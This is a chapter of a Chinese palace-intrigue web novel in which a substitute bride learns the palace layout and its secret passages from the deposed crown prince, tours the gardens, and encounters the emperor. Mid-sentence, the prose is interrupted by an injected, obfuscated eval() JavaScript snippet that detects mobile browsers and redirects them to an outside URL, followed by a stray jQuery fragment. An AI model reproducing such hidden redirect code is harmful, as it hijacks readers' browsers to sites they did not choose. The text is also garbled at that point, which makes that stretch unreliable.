14. 第十四章 陛下

作品:《替嫁东宫废太子后

    次日,晨光熹微。


    陆观微和萧映皆不是贪睡之人,二人一前一后醒来,一同在前殿吃了早饭。


    正值新婚,陆观微今日着了一件桃粉色的齐胸襦裙,外边罩着一件柔粉的轻纱外衫。


    乌黑的秀发被绾成复杂的环髻,赤金珠花点缀其中,衬得她分外肤白。


    “一会可有事忙碌?”


    前来收拾碗筷的小太监懂事地将正门合拢,一时,偌大的寝殿之中又仅余下这对新婚夫妇。


    陆观微闻言,轻轻摇了摇头。


    她初来嫁到,人生地不熟的,能做什么呢。


    “嗯,我猜也是。”


    萧映眉眼含笑,“既然如此,我来与你讲讲这宫中布局,免得到时候你迷路了,我还要派人去把你捞回来。”


    不等陆观微回答,他便徐徐站起身来,径直走到了一座书架前。


    细长的手指划过不少厚重的书脊,停在了一个不起眼的角落里。


    那是一张薄且宽长的纸,色泽被岁月蹉跎得近乎昏黄,好在上边的笔墨保存得完好无损,线条依旧清晰可见。


    萧映将它摊开在面前的案几上,用一方白玉镇纸压住。


    陆观微凑过去,一瞧——


    一张堪称完美的皇宫舆图。


    大到各宫,小到暗道,具是一比一缩小复原到了这张纸上。


    陆观微心生惊讶,她动了动唇,抬眼直直看向萧映。


    “如你所见。”


    萧映仿佛预料到了陆观微的意外,他勾起唇角,轻轻笑了笑。


    “这是一张不算成熟的舆图,是我十五岁时画下的,可能和如今的皇宫有所区别。不过……”


    他顿了顿,指尖沿着舆图绕了半圈,最后停在了“东宫”。


    暗道的其中一条,便连着东宫。


    “我可以向你保证,暗道还是和之前一模一样。”


    “……暗、暗道?”


    陆观微咽了咽口水,压低了声音,一双杏眼瞪得圆滚滚的。


    对于皇宫有暗道一事,她接受尚可。


    燕侯府都有的东西,偌大的皇宫怎么会没有呢?


    只是她没想到萧映会那么早挑明。


    “嗯。这还是先帝…啊,应该说是我那个不争气的堂兄留下来的。当年战败,他试图从这里逃走,没想到被父皇来了一个瓮中捉鳖,直接堵在了暗道门口,不费吹灰之力就将他拿下……”


    他说得云淡风轻,“要是哪日你想溜出宫玩,可别走左侧那扇门,那里流过很多血,冤魂甚多。你一个姑娘家的,不太安全。”


    陆观微深深吸了一口气,才笑着点头:“好,我知道了。”


    她日后一定不会去那个暗道的。


    绝对。


    得到了满意的答复,萧映颔首,又指向其他地方,切入了正题。


    简单和陆观微讲述了各宫情况,萧映的视线随意一扫,好巧不巧,落在了“瑶华宫”三个大字上。


    此刻,太阳已经升起,高高挂在空中。


    金灿灿的日光透过琉璃窗照进里殿。


    萧映身着一袭淡绯色的圆领袍衫,桃花眼微微弯着,笑意却不达眼底。


    也只是一瞬。


    眨眼间,他便敛去了周身冰凉的戾气。


    快到陆观微都没有及时察觉。


    “瑶华宫里住着的是崔贵妃,你的…不,应该是我们的姐夫,燕侯世子崔晏的亲姑姑。”


    陆观微前世被崔晏带进宫赴宴时,曾去瑶华宫拜见过崔贵妃,仅仅一面。


    在她的记忆里,崔贵妃模样雍容华贵、风姿绰约,脾气也是温温柔柔的,叫人说不出一句重话。


    “崔贵妃为人低调安静,不喜与旁的妃嫔争执。母后过世后,便一直是她执掌凤印,管理六宫。”


    听上去和陆观微印象里的大差不差。


    “对了,她也是三皇子萧旸的生母。”


    说出这句话时,萧映蓦地停住,眼神颇为暧昧地瞥了一眼陆观微,笑意浅浅。


    陆观微被他盯得后背发毛。


    “怎么了?”


    她不记得她和三皇子有什么…过节或者更密切的联系。


    等等…好像上辈子,崔晏以燕侯名义辅佐的,就是三皇子。


    “萧旸便是那日害你中药之人。”


    萧映眸底的笑意更深。


    “不过你且安心。正如我派梓苓姑姑送来的那张纸条上写得那般,他已经受到了相应的处罚,暂时闹不起太大的风浪。”


    原来如此。


    陆观微挑了挑眉,没有多言。


    “父皇的孩子并不算多,一共九个子女。除了我和今年快要及冠的萧旸,余下年纪最大的也就十二岁。”


    怪不得前世与萧映争夺皇权的只有三皇子一人。


    二者年纪相仿,后者更有燕侯府这样的母家支撑。


    而萧映身边则空无一人。


    他的追随者,早就在谋反一案后被清算干净了。


    “萧旸与他母妃崔贵妃不同,他自幼性子张扬,虽不至于跋扈,但在六宫之中却无人敢管束。你日后若是碰到了他,不必理会,掉头就走便好。”


    萧映贴心地提醒。


    陆观微诧然问道:“碰见?莫不成我可以在宫中随意走动么?”


    萧映咳嗽了一声:“随意说不上。父皇勒令我不许出东宫不假,可与陆家这桩婚事是他与母后多年前亲口许诺的。看在陆尚书和杜老太君的几分薄面,只要不做忤逆他逆鳞的事情,他断不会对你过于苛刻。”


    陆观微试探道:“那…我和姐姐换亲一事被察觉到了呢?”


    她和陆知旖作为女眷鲜少入宫,能记住她们二人面容,分清楚谁是谁的仅有零星几人,这才使得替嫁进行得十分顺利。


    可皇帝认得她们二人。


    亦或者说,他不认识陆观微,但很清楚陆知旖是什么模样。


    萧映沉思了片刻。


    “此事我自会与他解释。更何况,你本来就是错嫁给我的,不是么?”


    他眉眼弯弯,笑得狡黠。


    此话一出,算是给陆观微吃了一颗定心丸。


    她不懂这对父子的关系。


    有时觉得他们像一对巴不得对早日归西的仇人。


    有时又觉得他们好像只是一对因各种误会而心生隔阂的君臣。


    若想彻底走出东宫,站在朝堂之上,那必须得从皇帝这条线入手。


    等萧映向陆观微讲完宫中各项事宜和各宫里的妃子、皇子以及公主后,临近午时。


    小太监宝全“笃笃笃”地敲了三声殿门,得到许可,才端着汤药,领着若吟一同进入里殿。


    “殿下,到您喝药的时间了。”


    他将木盘举至额前,垂眉敛目,姿态恭顺,好似没有发现自家主子的妻子已经换了一个人。


    “你来得正好。”


    萧映回头,背过手,看向宝全,吩咐道:“今日天气甚佳,你带陆三娘子和她的婢女一起在宫中转转罢。”


    说完,他对陆观


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365539|199821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微温柔一笑,“宝全是我的心腹,母后还在的时他就跟着我了。你哪日有事,若寻不到我,问他也可。”


    陆观微心里有疑。


    这萧映被囚禁在东宫里,还不如自己自由,又怎会寻不到他?


    可她面上不显,而是笑着应了下来。


    既然他是这东宫的主人,那他说如何,她便这般做罢。


    于是,她便和若吟一起,跟在宝全身后,出了东宫。


    宝全也是一个和善的,他一路都在为陆观微详细介绍着宫里的布局。


    陆观微一边与他说着话,一边默默将一些偏僻的小径记在脑海里。


    “娘子您瞧,那些花儿好生漂亮!做成鲜花饼一定好吃!”


    若吟忽而笑着指向前方。


    他们步行至御花园,花香扑鼻,满眼锦簇。


    陆观微顺着她的视线望去——


    “那是夹竹桃,有毒的。”


    若吟本想伸去将花采下一朵的手,硬生生地顿住了。


    陆观微忍俊不禁,就连宝全也无奈地勾起唇角。


    三人在御花园里逛了一圈。


    陆观微正想问起过几日的端午节,东宫有何打算,不远处却传来一阵细碎的、刻意压低了的争执声。


    宝全和若吟自然也听见了。


    他们蓦地顿住脚步,故作不经意地瞥向那声音源头。


    竟然是崔晏!


    他身着一袭玄色劲装,站在一颗开花的石榴树下,正和一个穿着织金翠绿襕衫的男子说着什么。


    他眉头紧锁,目光沉沉,满脸不耐烦。


    全然没有新婚的意气风发。


    陆观微一怔,旋即垂下眼眸,收回好奇的目光。


    无论有没有嫁给萧映,她都不愿意和崔晏有牵扯。


    “走吧,我们回去了。”她轻声道。


    主子发话,宝全和若吟连忙跟在她身后,远离了这是非之地。


    “刚刚那是三皇子。”


    直到走出御花园,确认四下无人后,宝全才低声道。


    萧旸?


    陆观微回过神来。


    若吟不知三皇子是谁,大大咧咧地问宝全:“三皇子又怎么了?他很厉害么?”


    宝全一脸严肃:“三皇子虽比不过咱们殿下,但也不是一个好惹的。如今东宫式微,谁人都可以来踩一脚,有些疯子能躲就躲,千万别引火烧身。”


    这宝全果真是萧映现存的唯二亲信,说出的话都是极其明显的萧映风格。


    陆观微和若吟对视了一眼,皆从彼此眸中看出了无可奈何。


    其实他们说得很对。


    东宫现在不得宠,退一步便是危急存亡之际,切不可轻举妄动。


    “好了,今日这事儿,我们就当没看见。”


    陆观微下了定论。


    “况且燕侯世子和三皇子本就是表兄弟,他们兄弟情深,偶然遇见相互寒暄也很正常。”


    微风掠过,吹起她颊边一缕碎发。


    “回东宫吧,我也有些饿了。”


    若吟与宝全皆不敢吱声,齐齐朝东宫所在方向走去。


    只差几步便到了东宫正门,陆观微临门一脚还没踏进,映入眼帘的却是一道自带威严的背影。


    东宫前院里站着一个男人。


    一个穿着明黄色龙袍的男人。


    “陛、陛下……”


    宝全吓得脸上血色全无,连忙拉着若吟一起跪在地上。


    永嘉帝已经差不多一年没来过东宫了。